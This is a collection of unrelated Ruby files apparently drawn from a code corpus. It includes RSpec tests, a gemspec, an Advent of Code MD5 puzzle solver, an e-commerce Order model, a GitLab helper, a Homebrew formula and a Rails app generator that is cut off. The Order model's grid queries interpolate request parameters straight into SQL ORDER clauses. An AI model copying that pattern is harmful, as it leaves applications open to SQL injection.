# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 require 'rspec' require_relative '../object_get_encryption' describe ObjectGetEncryptionWrapper do let(:object) { Aws::S3::Object.new('test-bucket', 'test-key', stub_responses: true) } let(:wrapper) { ObjectGetEncryptionWrapper.new(object) } it 'confirms the object encryption state was retrieved' do obj_data = object.client.stub_data(:get_object, { server_side_encryption: 'TEST' }) object.client.stub_responses(:get_object, obj_data) obj = wrapper.get_object expect(obj.server_side_encryption).to be_eql('TEST') end it "confirms error is caught when object can't be retrieved" do object.client.stub_responses(:get_object, 'TestError') expect(wrapper.get_object).to be_nil end end
36.086957
87
0.753012
e9d4f2de8a0c9598ea6bbb09612b69dd564d64d1
1,849
# coding: utf-8 lib = File.expand_path('../lib/', __FILE__) $LOAD_PATH.unshift lib unless $LOAD_PATH.include?(lib) require 'spree_i18n/version' Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'spree_i18n' s.version = SpreeI18n.version s.summary = 'Provides locale information for use in Spree.' s.description = s.summary s.author = 'Sean Schofield' s.email = '[email protected]' s.homepage = 'http://spreecommerce.com' s.license = 'BSD-3' s.files = `git ls-files`.split("\n") s.test_files = `git ls-files -- spec/*`.split("\n") s.require_path = 'lib' s.requirements << 'none' s.has_rdoc = false s.add_runtime_dependency 'i18n_data' s.add_runtime_dependency 'rails-i18n' s.add_runtime_dependency 'kaminari-i18n' s.add_runtime_dependency 'routing-filter' s.add_runtime_dependency 'spree_core', '>= 3.1.0', '< 4.0' s.add_runtime_dependency 'spree_extension' s.add_development_dependency 'appraisal' s.add_development_dependency 'byebug' s.add_development_dependency 'capybara' s.add_development_dependency 'capybara-screenshot' s.add_development_dependency 'coffee-rails' s.add_development_dependency 'database_cleaner' s.add_development_dependency 'factory_bot' s.add_development_dependency 'ffaker' s.add_development_dependency 'mysql2', '>= 0.3.18', '< 0.6.0' s.add_development_dependency 'pg', '~> 0.18' s.add_development_dependency 'selenium-webdriver' s.add_development_dependency 'pry-rails' s.add_development_dependency 'puma' s.add_development_dependency 'rubocop' s.add_development_dependency 'rspec-rails' s.add_development_dependency 'sqlite3' s.add_development_dependency 'simplecov' s.add_development_dependency 'guard-rspec' s.add_development_dependency 'sprockets-rails' end
34.886792
65
0.736614
6231e3da25fde633f367a01d390a61abc05be61d
765
# frozen_string_literal: true require "spec_helper" describe "remove external ids" do let(:external_ids) { {external_ids: ["abc"]} } subject(:remove_external_ids) do api.remove_external_ids(external_ids) end context "with success", vcr: true do it "responds with created" do expect(remove_external_ids.status).to be 201 end it "responds with success message" do expect(JSON.parse(remove_external_ids.body)).to include( "removed_ids" => ["abc"], "removal_errors" => [], "message" => "success" ) end end context "unauthorized", vcr: true do let(:api_key) { "non-existent" } it "responds with unauthorized" do expect(remove_external_ids.status).to be 401 end end end
22.5
62
0.660131
e982e4a240f0c45c2384df1f8a4d86556874110b
964
# typed: strict require 'sqlite3' require 'active_record' require 'bundler/setup' require 'camerata' require 'faker' require 'pry' require './examples/minimum/spec/support/factory_bot' require 'simplecov' SimpleCov.start ActiveRecord::Base.logger = Logger.new('./log/test.log') ActiveRecord::Base.establish_connection( adapter: 'sqlite3', database: ':memory:' ) ActiveRecord::Migration.maintain_test_schema! # Load example files require './examples/minimum/db/schema' Dir.glob('./examples/minimum/app/**/*.rb').each { |file_name| require file_name } RSpec.configure do |config| # Enable flags like --only-failures and --next-failure config.example_status_persistence_file_path = ".rspec_status" # Disable RSpec exposing methods globally on `Module` and `main` config.disable_monkey_patching! config.expect_with :rspec do |c| c.syntax = :expect end # Load library Dir.glob('./lib/**/*.rb').each { |file_name| require file_name } end
24.717949
81
0.741701
f8163ce425aec30865358702d8861618caaaf650
160
class CommentTaskSerializer < ActiveModel::Serializer attributes :id, :name, :description, :due_date, :status, :created_at, :updated_at, :owner, :project end
40
101
0.76875
7a79fce9514000a8a3b55749d077a6d74c0f5b4d
2,417
# --- Part Two --- # As the door slides open, you are presented with a second door that # uses a slightly more inspired security mechanism. Clearly unimpressed # by the last version (in what movie is the password decrypted in order?!), # the Easter Bunny engineers have worked out a better solution. # Instead of simply filling in the password from left to right, # the hash now also indicates the position within the password to fill. # You still look for hashes that begin with five zeroes; however, now, # the sixth character represents the position (0-7), and the seventh character # is the character to put in that position. # A hash result of 000001f means that f is the second character in the password. # Use only the first result for each position, and ignore invalid positions. # For example, if the Door ID is abc: # The first interesting hash is from abc3231929, which produces 0000015...; # so, 5 goes in position 1: _5______. # In the previous method, 5017308 produced an interesting hash; however, # it is ignored, because it specifies an invalid position (8). # The second interesting hash is at index 5357525, which produces 000004e...; # so, e goes in position 4: _5__e___. # You almost choke on your popcorn as the final character falls into place, # producing the password 05ace8e3. # Given the actual Door ID and this new method, what is the password? # Be extra proud of your solution if it uses a cinematic "decrypting" animation. # Your puzzle input is still ojvtpuvg. module SecondDoorHacker module_function def hack(door_id) password_chars = [] index = 0 acceptable_indexes = [0,1,2,3,4,5,6,7].map { |i| i.to_s } while password_chars.count { |c| !!c } < 8 do hash = Digest::MD5.hexdigest "#{door_id}#{index}" if hash.start_with?('00000') then candidate_index = hash[5] candidate_value = hash[6] if acceptable_indexes.include? candidate_index then password_chars[candidate_index.to_i] = candidate_value if password_chars[candidate_index.to_i] == nil end end index += 1 end return password_chars.join('') end end describe "day 5 - part two - how about a nice game of chess" do it "can find the example password" do expect(SecondDoorHacker.hack 'abc').to eq('05ace8e3') end it "solve the problem" do p "puzzle solution is #{SecondDoorHacker.hack 'ojvtpuvg'}" end end
36.074627
111
0.720728
261164cc36241882107ee66a084c7b7f21e522dc
17,900
class Order < ActiveRecord::Base has_friendly_id :number, :use_slug => false has_many :order_items has_many :shipments has_many :invoices has_many :completed_invoices, :class_name => 'Invoice', :conditions => ['state = ? OR state = ?', 'authorized', 'paid'] has_many :authorized_invoices, :class_name => 'Invoice', :conditions => ['state = ?', 'authorized'] has_many :paid_invoices , :class_name => 'Invoice', :conditions => ['state = ?', 'paid'] has_many :return_authorizations belongs_to :user belongs_to :coupon belongs_to :ship_address, :class_name => 'Address' belongs_to :bill_address, :class_name => 'Address' before_validation :set_email, :set_number after_create :save_order_number before_save :update_tax_rates after_find :set_beginning_values attr_accessor :total, :sub_total #validates :number, :presence => true validates :user_id, :presence => true validates :email, :presence => true, :format => { :with => CustomValidators::Emails.email_validator } NUMBER_SEED = 1001001001000 CHARACTERS_SEED = 21 state_machine :initial => 'in_progress' do event :complete do transition :to => 'complete', :from => 'in_progress' end event :pay do transition :to => 'paid', :from => ['in_progress', 'complete'] end end # This method is used when the session in admin orders is ready to authorize the credit card # The cart has the following format # # session[:admin_cart] = { # :user => nil, # :shipping_address => nil, # :billing_address => nil, # :coupon => nil, # :shipping_method => nil, # :order_items => {}# the key is variant_id , a hash of {variant, shipping_rate, quantity, tax_rate, total, shipping_category_id} # } # user name on the order # # @param [none] # @return [String] user name on the order def name self.user.name end # formated date of the complete_at datetime on the order # # @param [none] # @return [String] formated date or 'Not Finished.' if the order is not completed def display_completed_at(format = :us_date) completed_at ? I18n.localize(completed_at, :format => format) : 'Not Finished.' end # how much you initially charged the customer # # @param [none] # @return [String] amount in dollars as decimal or a blank string def first_invoice_amount return '' if completed_invoices.empty? completed_invoices.first.amount end # cancel the order and payment # => sets the order inactive and cancels the authorized payments # # @param [Invoice] # @return [none] def cancel_unshipped_order(invoice) transaction do self.update_attributes(:active => false) invoice.cancel_authorized_payment end end # status of the invoice # # @param [none] # @return [String] state of the latest invoice or 'not processed' if there aren't any invoices def status return 'not processed' if invoices.empty? invoices.last.state end def self.find_myaccount_details includes([:completed_invoices, :invoices]) end # The admin cart is stored in memcached. At checkout the order is stored in the DB. This method will store the checkout. # # @param [Hash] memcached hash of the cart # @param [Hash] arguments with ip_address # @return [Order] order created def self.new_admin_cart(admin_cart, args = {}) transaction do admin_order = Order.new( :ship_address => admin_cart[:shipping_address], :bill_address => admin_cart[:billing_address], #:coupon => admin_cart[:coupon], :email => admin_cart[:user].email, :user => admin_cart[:user], :ip_address => args[:ip_address] ) admin_order.save admin_cart[:order_items].each_pair do |variant_id, hash| hash[:quantity].times do item = OrderItem.new( :variant => hash[:variant], :tax_rate => hash[:tax_rate], :price => hash[:variant].price, :total => hash[:total], :shipping_rate => hash[:shipping_rate] ) admin_order.order_items.push(item) end end admin_order.save admin_order end end # captures the payment of the invoice by the payment processor # # @param [Invoice] # @return [Payment] payment object def capture_invoice(invoice) payment = invoice.capture_payment({}) end ## This method creates the invoice and payment method. If the payment is not authorized the whole transaction is roled back def create_invoice(credit_card, charge_amount, args, credited_amount = 0.0) transaction do create_invoice_transaction(credit_card, charge_amount, args, credited_amount) end end # call after the order is completed (authorized the payment) # => sets the order.state to completed, sets completed_at to time.now and updates the inventory # # @param [none] # @return [Payment] payment object def order_complete! self.state = 'complete' self.completed_at = Time.zone.now update_inventory end # sets the ship_address_id when the object is instantiated # => this is used to determines if the address changes, if so the orders shipping method will need to be reset # # @param [none] # @return [none] def set_beginning_values @beginning_address_id = ship_address_id # this stores the initial value of the tax_rate end # get the ship_address_id when the object is instantiated # => this is used to determines if the address changes, if so the orders shipping method will need to be reset # # @param [none] # @return [Integer] ship_address_id def get_beginning_address_id @beginning_address_id end # This method will go to every order_item and calculate the total for that item. # # if calculated at is set this order does not need to be calculated unless # any single item in the order has been updated since the order was calculated # # Also if any item is not ready to calculate then dont calculate # # @param [none] the param is not used right now # @return [none] def calculate_totals # if calculated at is nil then this order hasn't been calculated yet # also if any single item in the order has been updated, the order needs to be re-calculated if calculated_at.nil? || (order_items.any? {|item| (item.updated_at > self.calculated_at) }) # if any item is not ready to calculate then dont calculate unless order_items.any? {|item| !item.ready_to_calculate? } total = 0.0 tax_time = completed_at? ? completed_at : Time.zone.now order_items.each do |item| if (calculated_at.nil? || item.updated_at > self.calculated_at) item.tax_rate = item.variant.product.tax_rate(self.ship_address.state_id, tax_time)## This needs to change to completed_at item.calculate_total item.save end total = total + item.total end sub_total = total self.total = total + shipping_charges self.calculated_at = Time.now save end end end # looks at all the order items and determines if the order has all the required elements to complete a checkout # # @param [none] # @return [Boolean] def ready_to_checkout? order_items.all? {|item| item.ready_to_calculate? } end # calculates the total price of the order # this method will set sub_total and total for the order even if the order is not ready for final checkout # # @param [none] the param is not used right now # @return [none] Sets sub_total and total for the object def find_total(force = false) calculate_totals if self.calculated_at.nil? || order_items.any? {|item| (item.updated_at > self.calculated_at) } self.total = 0.0 order_items.each do |item| self.total = self.total + item.item_total end self.sub_total = self.total self.total = (self.total + shipping_charges - coupon_amount ).round_at( 2 ) end # amount the coupon reduces the value of the order # # @param [none] # @return [Float] amount the coupon reduces the value of the order def coupon_amount coupon_id ? coupon.value(item_prices) : 0.0 end # called when creating the invoice. This does not change the store_credit amount # # @param [none] # @return [Float] amount that the order is charged after store credit is applyed def credited_total (find_total - amount_to_credit).round_at( 2 ) end # amount to credit based off the user store credit # # @param [none] # @return [Float] amount to remove from store credit def amount_to_credit [find_total, user.store_credit.amount].min end def remove_user_store_credits user.store_credit.remove_credit(amount_to_credit) if amount_to_credit > 0.0 end # calculates the total shipping charges for all the items in the cart # # @param [none] # @return [Decimal] amount of the shipping charges def shipping_charges return @order_shipping_charges if defined?(@order_shipping_charges) @order_shipping_charges = shipping_rates.inject(0.0) {|sum, shipping_rate| sum + shipping_rate.rate } end # all the shipping rate to apply to the order # # @param [none] # @return [Array] array of shipping rates that will be charged, it will return the same # shipping rate more than once if it can be charged more than once def shipping_rates items = OrderItem.order_items_in_cart(self.id) rates = items.inject([]) do |rates, item| rates << item.shipping_rate if item.shipping_rate.individual? || !rates.include?(item.shipping_rate) rates end end # all the tax charges to apply to the order # # @param [none] # @return [Array] array of tax charges that will be charged def tax_charges charges = order_items.inject([]) do |charges, item| charges << item.tax_charge charges end end # sum of all the tax charges to apply to the order # # @param [none] # @return [Decimal] def total_tax_charges tax_charges.sum end # add the variant to the order items in the order, normally called at order creation # # @param [Variant] variant to add # @param [Integer] quantity to add to the order # @param [Optional Integer] state_id (for taxes) to assign to the order_item # @return [none] def add_items(variant, quantity, state_id = nil) self.save! if self.new_record? tax_rate_id = state_id ? variant.product.tax_rate(state_id) : nil quantity.times do self.order_items.push(OrderItem.create(:order => self,:variant_id => variant.id, :price => variant.price, :tax_rate_id => tax_rate_id)) end end # remove the variant from the order items in the order # # @param [Variant] variant to add # @param [Integer] final quantity that should be in the order # @return [none] def remove_items(variant, final_quantity) total_order_items = self.order_items.find(:all, :conditions => ['variant_id = ?', variant.id] ) if (total_order_items.size - final_quantity) > 0 qty_to_delete = (total_order_items.size - final_quantity) total_order_items.each do |order_item| order_item.destroy if qty_to_delete > 0 qty_to_delete = qty_to_delete - 1 end end end ## determines the order id from the order.number # # @param [String] represents the order.number # @return [Integer] id of the order to find def self.id_from_number(num) num.to_i(CHARACTERS_SEED) - NUMBER_SEED end ## finds the Order from the orders number. Is more optimal than the normal rails find by id # because if calculates the order's id which is indexed # # @param [String] represents the order.number # @return [Order] def self.find_by_number(num) find(id_from_number(num))## now we can search by id which should be much faster end ## This method is called when the order transitions to paid # it will add the number of variants pending to be sent to the customer # # @param none # @return [none] def update_inventory self.order_items.each { |item| item.variant.add_pending_to_customer } end # variant ids in the order. # # @param [none] # @return [Integer] all the variant_id's in the order def variant_ids order_items.collect{|oi| oi.variant_id } end # if the order has a shipment this is true... else false # # @param [none] # @return [Boolean] def has_shipment? shipments_count > 0 end def self.create_subscription_order(user) order = Order.new( :user => user, :email => user.email, :bill_address => user.billing_address, :ship_address => user.shipping_address ) oi = OrderItem.new( :total => user.account.monthly_charge, :price => user.account.monthly_charge, :variant_id => Variant::MONTHLY_BILLING_ID, :shipping_rate_id => ShippingRate::MONTHLY_BILLING_RATE_ID ) order.push(oi) order.save order end # paginated results from the admin orders that are completed grid # # @param [Optional params] # @return [ Array[Order] ] def self.find_finished_order_grid(params = {}) params[:page] ||= 1 params[:rows] ||= 25 grid = Order grid = grid.includes([:user]) grid = grid.where({:active => true }) unless params[:show_all].present? && params[:show_all] == 'true' grid = grid.where("orders.shipment_counter = ?", 0) if params[:shipped].present? && params[:shipped] == 'true' grid = grid.where("orders.shipment_counter > ?", 0) if params[:shipped].present? && params[:shipped] == 'false' grid = grid.where("orders.completed_at IS NOT NULL") grid = grid.where("orders.number LIKE ?", "#{params[:number]}%") if params[:number].present? grid = grid.where("orders.email LIKE ?", "#{params[:email]}%") if params[:email].present? grid = grid.order("#{params[:sidx]} #{params[:sord]}").paginate(:page => params[:page], :per_page => params[:rows]) end # paginated results from the admin order fulfillment grid # # @param [Optional params] # @return [ Array[Order] ] def self.fulfillment_grid(params = {}) params[:page] ||= 1 params[:rows] ||= 25 grid = Order grid = grid.includes([:user]) grid = grid.where({:active => true }) unless params[:show_all].present? && params[:show_all] == 'true' grid = grid.where({ :orders => {:shipped => false }} ) grid = grid.where("orders.completed_at IS NOT NULL") grid = grid.where("orders.number LIKE ?", params[:number]) if params[:number].present? grid = grid.where("orders.shipped = ?", false) unless (params[:shipped].present? && params[:shipped] == 'true') grid = grid.where("orders.email LIKE ?", params[:email]) if params[:email].present? grid = grid.order("#{params[:sidx]} #{params[:sord]}").paginate(:page => params[:page], :per_page => params[:rows]) end private # prices to charge of all items before taxes and coupons and shipping # # @param none # @return [Array] Array of prices to charge of all items before def item_prices order_items.collect{|item| item.adjusted_price } end # Called before validation. sets the email address of the user to the order's email address # # @param none # @return [none] def set_email self.email = user.email if user_id end # Called before validation. sets the order number, if the id is nil the order number is bogus # # @param none # @return [none] def set_number return set_order_number if self.id self.number = (Time.now.to_i).to_s(CHARACTERS_SEED)## fake number for friendly_id validator end # sets the order number based off constants and the order id # # @param none # @return [none] def set_order_number self.number = (NUMBER_SEED + id).to_s(CHARACTERS_SEED) end # Called after_create. sets the order number # # @param none # @return [none] def save_order_number set_order_number save end # Called before save. If the ship address changes the tax rate for all the order items needs to change appropriately # # @param none # @return [none] def update_tax_rates if @beginning_address_id != ship_address_id set_beginning_values tax_time = completed_at? ? completed_at : Time.zone.now order_items.each do |item| rate = item.variant.product.tax_rate(self.ship_address.state_id, tax_time) if rate && item.tax_rate_id != rate.id item.tax_rate = rate item.save end end end end def create_invoice_transaction(credit_card, charge_amount, args, credited_amount = 0.0) invoice_statement = Invoice.generate(self.id, charge_amount, credited_amount) invoice_statement.save invoice_statement.authorize_payment(credit_card, args)#, options = {}) invoices.push(invoice_statement) if invoice_statement.succeeded? self.order_complete! #complete! else #role_back invoice_statement.errors.add(:base, 'Payment denied!!!') invoice_statement.save end invoice_statement end end
34.291188
141
0.651508
ff57a7c3323d3077fe5c17d2ce2ad72c0ee71d2a
126
require 'test_helper' class AssemblyPartTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end
15.75
48
0.714286
ed6409b4fb03bc0f270fbc2efe0349f3efea5781
920
RSpec.shared_examples 'fails to send verification for' do |attribute| it { expect(sent).to be_falsy } it "doesn't generate an #{attribute} verification token for the model" do expect(verification.model).to_not have_received(:"generate_#{attribute}_verification_token!") end it "doesn't send a message with verification instructions to the model #{attribute} " do expect(verification.model).to_not have_received(:"send_#{attribute}_verification_instructions") end end RSpec.shared_examples 'fails to complete verification for' do |attribute| it { expect(completed).to be_falsy } it "doesn't verify the model #{attribute}" do expect(verification.model).to_not have_received(:"verify_#{attribute}!") end end RSpec.shared_examples 'has inclusion error on verification type' do it 'has an inclusion error on type' do expect(verification.errors).to be_added(:type, :inclusion) end end
35.384615
99
0.759783
1894aba7dc0bf49fe9dc9fea02727d8030457c8c
5,267
# frozen_string_literal: true module EnvironmentsHelper include ActionView::Helpers::AssetUrlHelper def environments_list_data { endpoint: project_environments_path(@project, format: :json) } end def environments_folder_list_view_data { "endpoint" => folder_project_environments_path(@project, @folder, format: :json), "folder_name" => @folder, "can_read_environment" => can?(current_user, :read_environment, @project).to_s } end def custom_metrics_available?(project) can?(current_user, :admin_project, project) end def metrics_data(project, environment) metrics_data = {} metrics_data.merge!(project_metrics_data(project)) if project metrics_data.merge!(environment_metrics_data(environment, project)) if environment metrics_data.merge!(project_and_environment_metrics_data(project, environment)) if project && environment metrics_data.merge!(static_metrics_data) metrics_data end def environment_logs_data(project, environment) { "environment_name": environment.name, "environments_path": api_v4_projects_environments_path(id: project.id), "environment_id": environment.id, "cluster_applications_documentation_path" => help_page_path('user/clusters/integrations.md', anchor: 'elastic-stack-cluster-integration'), "clusters_path": project_clusters_path(project, format: :json) } end def can_destroy_environment?(environment) can?(current_user, :destroy_environment, environment) end def environment_data(environment) Gitlab::Json.generate({ id: environment.id, name: environment.name, external_url: environment.external_url }) end private def project_metrics_data(project) return {} unless project { 'settings_path' => edit_project_integration_path(project, 'prometheus'), 'clusters_path' => project_clusters_path(project), 'dashboards_endpoint' => project_performance_monitoring_dashboards_path(project, format: :json), 'default_branch' => project.default_branch, 'project_path' => project_path(project), 'tags_path' => project_tags_path(project), 'external_dashboard_url' => project.metrics_setting_external_dashboard_url, 'custom_metrics_path' => project_prometheus_metrics_path(project), 'validate_query_path' => validate_query_project_prometheus_metrics_path(project), 'custom_metrics_available' => "#{custom_metrics_available?(project)}", 'dashboard_timezone' => project.metrics_setting_dashboard_timezone.to_s.upcase } end def environment_metrics_data(environment, project = nil) return {} unless environment { 'metrics_dashboard_base_path' => metrics_dashboard_base_path(environment, project), 'current_environment_name' => environment.name, 'has_metrics' => "#{environment.has_metrics?}", 'environment_state' => "#{environment.state}" } end def metrics_dashboard_base_path(environment, project) # This is needed to support our transition from environment scoped metric paths to project scoped. if project path = project_metrics_dashboard_path(project) return path if request.path.include?(path) end environment_metrics_path(environment) end def project_and_environment_metrics_data(project, environment) return {} unless project && environment { 'metrics_endpoint' => additional_metrics_project_environment_path(project, environment, format: :json), 'dashboard_endpoint' => metrics_dashboard_project_environment_path(project, environment, format: :json), 'deployments_endpoint' => project_environment_deployments_path(project, environment, format: :json), 'alerts_endpoint' => project_prometheus_alerts_path(project, environment_id: environment.id, format: :json), 'operations_settings_path' => project_settings_operations_path(project), 'can_access_operations_settings' => can?(current_user, :admin_operations, project).to_s, 'panel_preview_endpoint' => project_metrics_dashboards_builder_path(project, format: :json) } end def static_metrics_data { 'documentation_path' => help_page_path('administration/monitoring/prometheus/index.md'), 'add_dashboard_documentation_path' => help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'), 'empty_getting_started_svg_path' => image_path('illustrations/monitoring/getting_started.svg'), 'empty_loading_svg_path' => image_path('illustrations/monitoring/loading.svg'), 'empty_no_data_svg_path' => image_path('illustrations/monitoring/no_data.svg'), 'empty_no_data_small_svg_path' => image_path('illustrations/chart-empty-state-small.svg'), 'empty_unable_to_connect_svg_path' => image_path('illustrations/monitoring/unable_to_connect.svg'), 'custom_dashboard_base_path' => Gitlab::Metrics::Dashboard::RepoDashboardFinder::DASHBOARD_ROOT } end end EnvironmentsHelper.prepend_mod_with('EnvironmentsHelper')
41.472441
148
0.721663
263e32ef47dcbfdf444fa1d8de972e7f1cfaec6c
1,333
require 'rspec' require_relative 'plan' describe Plan do let (:plan) { Plan.new([ 'Step C must be finished before step A can begin.', 'Step C must be finished before step F can begin.', 'Step A must be finished before step B can begin.', 'Step A must be finished before step D can begin.', 'Step B must be finished before step E can begin.', 'Step D must be finished before step E can begin.', 'Step F must be finished before step E can begin.' ]) } it 'creates a record of all nodes' do expect(plan.nodes).to eq %w{A B C D E F} end it 'knows what step to do first' do expect(plan.next_step).to eq 'C' end it 'updates the list of steps when performing a step' do plan.perform_next_step expect(plan.perform_next_step).to eq 'A' # A before F because alphabet expect(plan.next_step).to eq 'B' # B before F because alphabet end it 'can stream the entire plan in order' do expect(plan.stream.to_a.join).to eq 'CABDFE' end it 'can return all available steps' do plan.started('C') plan.completed('C') expect(plan.next_steps).to eq ['A','F'] plan.started('A') plan.started('F') plan.completed('A') expect(plan.next_steps).to eq ['B', 'D'] # F is already started and should no longer be reported end end
27.770833
74
0.654164
1c26184f921487f4f1426a7d7a3422316114712a
410
cask 'font-envy-code-r' do version 'PR7' sha256 '9f7e9703aaf21110b4e1a54d954d57d4092727546348598a5a8e8101e4597aff' url "http://download.damieng.com/fonts/original/EnvyCodeR-#{version}.zip" name 'Envy Code R' homepage 'http://damieng.com/blog/tag/envy-code-r' font 'Envy Code R PR7/Envy Code R Bold.ttf' font 'Envy Code R PR7/Envy Code R Italic.ttf' font 'Envy Code R PR7/Envy Code R.ttf' end
31.538462
75
0.741463
034af2c9f9d93bea1f2154d1baea2c46f16f1777
3,312
class ApachePulsar < Formula desc "Cloud-native distributed messaging and streaming platform" homepage "https://pulsar.apache.org/" url "https://www.apache.org/dyn/mirrors/mirrors.cgi?action=download&filename=pulsar/pulsar-2.9.1/apache-pulsar-2.9.1-src.tar.gz" mirror "https://archive.apache.org/dist/pulsar/pulsar-2.9.1/apache-pulsar-2.9.1-src.tar.gz" sha256 "e219a0b38645c64888ec031516afab0ca3248c194aaaf7bdc1d08aff4537e1f9" license "Apache-2.0" head "https://github.com/apache/pulsar.git", branch: "master" bottle do sha256 cellar: :any_skip_relocation, monterey: "9b2b9a5bf391f15fe75853541570aea36a6d9a1d1b54ba670aa787a383efba3c" sha256 cellar: :any_skip_relocation, big_sur: "30d713f34fe9074fb582068cca80e13aefddc508219a0d045e11ecae050d9a2f" sha256 cellar: :any_skip_relocation, catalina: "b82051dede75c221887ece7e961e483fb38a9831ed1c2405cab3959d2749c768" sha256 cellar: :any_skip_relocation, x86_64_linux: "e8aab2331d721486ea7ad5bcf4df54158f4184e6a88593ff85b4e12a45f22a45" end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "cppunit" => :build depends_on "libtool" => :build depends_on "maven" => :build depends_on "pkg-config" => :build depends_on "protobuf" => :build depends_on arch: :x86_64 depends_on "openjdk@11" def install with_env("TMPDIR" => buildpath, **Language::Java.java_home_env("11")) do system "mvn", "-X", "clean", "package", "-DskipTests", "-Pcore-modules" end built_version = if build.head? # This script does not need any particular version of py3 nor any libs, so both # brew-installed python and system python will work. Utils.safe_popen_read("python3", "src/get-project-version.py").strip else version end binpfx = "apache-pulsar-#{built_version}" system "tar", "-xf", "distribution/server/target/#{binpfx}-bin.tar.gz" libexec.install "#{binpfx}/bin", "#{binpfx}/lib", "#{binpfx}/instances", "#{binpfx}/conf" (libexec/"lib/presto/bin/procname/Linux-ppc64le").rmtree pkgshare.install "#{binpfx}/examples", "#{binpfx}/licenses" (etc/"pulsar").install_symlink libexec/"conf" libexec.glob("bin/*") do |path| if !path.fnmatch?("*common.sh") && !path.directory? bin_name = path.basename (bin/bin_name).write_env_script libexec/"bin"/bin_name, Language::Java.java_home_env("11") end end end def post_install (var/"log/pulsar").mkpath end service do run [bin/"pulsar", "standalone"] log_path var/"log/pulsar/output.log" error_log_path var/"log/pulsar/error.log" end test do fork do exec bin/"pulsar", "standalone", "--zookeeper-dir", "#{testpath}/zk", " --bookkeeper-dir", "#{testpath}/bk" end # The daemon takes some time to start; pulsar-client will retry until it gets a connection, but emit confusing # errors until that happens, so sleep to reduce log spam. sleep 15 output = shell_output("#{bin}/pulsar-client produce my-topic --messages 'hello-pulsar'") assert_match "1 messages successfully produced", output output = shell_output("#{bin}/pulsar initialize-cluster-metadata -c a -cs localhost -uw localhost -zk localhost") assert_match "Cluster metadata for 'a' setup correctly", output end end
41.924051
130
0.71256
1dd72f349aa81555b97b54cec260742e58583b2e
6,779
require 'rbconfig' require 'digest/md5' require 'rails_generator/secret_key_generator' class AppGenerator < Rails::Generator::Base DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']) DATABASES = %w(mysql oracle postgresql sqlite2 sqlite3 frontbase) default_options :db => (ENV["RAILS_DEFAULT_DATABASE"] || "sqlite3"), :shebang => DEFAULT_SHEBANG, :freeze => false mandatory_options :source => "#{File.dirname(__FILE__)}/../../../../.." def initialize(runtime_args, runtime_options = {}) super usage if args.empty? usage("Databases supported for preconfiguration are: #{DATABASES.join(", ")}") if (options[:db] && !DATABASES.include?(options[:db])) @destination_root = args.shift @app_name = File.basename(File.expand_path(@destination_root)) end def manifest # Use /usr/bin/env if no special shebang was specified script_options = { :chmod => 0755, :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] } dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] } # duplicate CGI::Session#generate_unique_id md5 = Digest::MD5.new now = Time.now md5 << now.to_s md5 << String(now.usec) md5 << String(rand(0)) md5 << String($$) md5 << @app_name # Do our best to generate a secure secret key for CookieStore secret = Rails::SecretKeyGenerator.new(@app_name).generate_secret record do |m| # Root directory and all subdirectories. m.directory '' BASEDIRS.each { |path| m.directory path } # Root m.file "fresh_rakefile", "Rakefile" m.file "README", "README" # Application m.template "helpers/application.rb", "app/controllers/application.rb", :assigns => { :app_name => @app_name, :app_secret => md5.hexdigest } m.template "helpers/application_helper.rb", "app/helpers/application_helper.rb" m.template "helpers/test_helper.rb", "test/test_helper.rb" # database.yml and .htaccess m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => { :app_name => @app_name, :socket => options[:db] == "mysql" ? mysql_socket_location : nil } m.template "configs/routes.rb", "config/routes.rb" m.template "configs/apache.conf", "public/.htaccess" # Initializers m.template "configs/initializers/inflections.rb", "config/initializers/inflections.rb" m.template "configs/initializers/mime_types.rb", "config/initializers/mime_types.rb" # Environments m.file "environments/boot.rb", "config/boot.rb" m.template "environments/environment.rb", "config/environment.rb", :assigns => { :freeze => options[:freeze], :app_name => @app_name, :app_secret => secret } m.file "environments/production.rb", "config/environments/production.rb" m.file "environments/development.rb", "config/environments/development.rb" m.file "environments/test.rb", "config/environments/test.rb" # Scripts %w( about console destroy generate performance/benchmarker performance/profiler performance/request process/reaper process/spawner process/inspector runner server plugin ).each do |file| m.file "bin/#{file}", "script/#{file}", script_options end # Dispatches m.file "dispatches/dispatch.rb", "public/dispatch.rb", dispatcher_options m.file "dispatches/dispatch.rb", "public/dispatch.cgi", dispatcher_options m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options # HTML files %w(404 422 500 index).each do |file| m.template "html/#{file}.html", "public/#{file}.html" end m.template "html/favicon.ico", "public/favicon.ico" m.template "html/robots.txt", "public/robots.txt" m.file "html/images/rails.png", "public/images/rails.png" # Javascripts m.file "html/javascripts/prototype.js", "public/javascripts/prototype.js" m.file "html/javascripts/effects.js", "public/javascripts/effects.js" m.file "html/javascripts/dragdrop.js", "public/javascripts/dragdrop.js" m.file "html/javascripts/controls.js", "public/javascripts/controls.js" m.file "html/javascripts/application.js", "public/javascripts/application.js" # Docs m.file "doc/README_FOR_APP", "doc/README_FOR_APP" # Logs %w(server production development test).each { |file| m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666 } end end protected def banner "Usage: #{$0} /path/to/your/app [options]" end def add_options!(opt) opt.separator '' opt.separator 'Options:' opt.on("-r", "--ruby=path", String, "Path to the Ruby binary of your choice (otherwise scripts use env, dispatchers current path).", "Default: #{DEFAULT_SHEBANG}") { |v| options[:shebang] = v } opt.on("-d", "--database=name", String, "Preconfigure for selected database (options: mysql/oracle/postgresql/sqlite2/sqlite3).", "Default: mysql") { |v| options[:db] = v } opt.on("-f", "--freeze", "Freeze Rails in vendor/rails from the gems generating the skeleton", "Default: false") { |v| options[:freeze] = v } end def mysql_socket_location MYSQL_SOCKET_LOCATIONS.find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/ end # Installation skeleton. Intermediate directories are automatically # created so don't sweat their absence here. BASEDIRS = %w( app/controllers app/helpers app/models app/views/layouts config/environments config/initializers db doc lib lib/tasks log public/images public/javascripts public/stylesheets 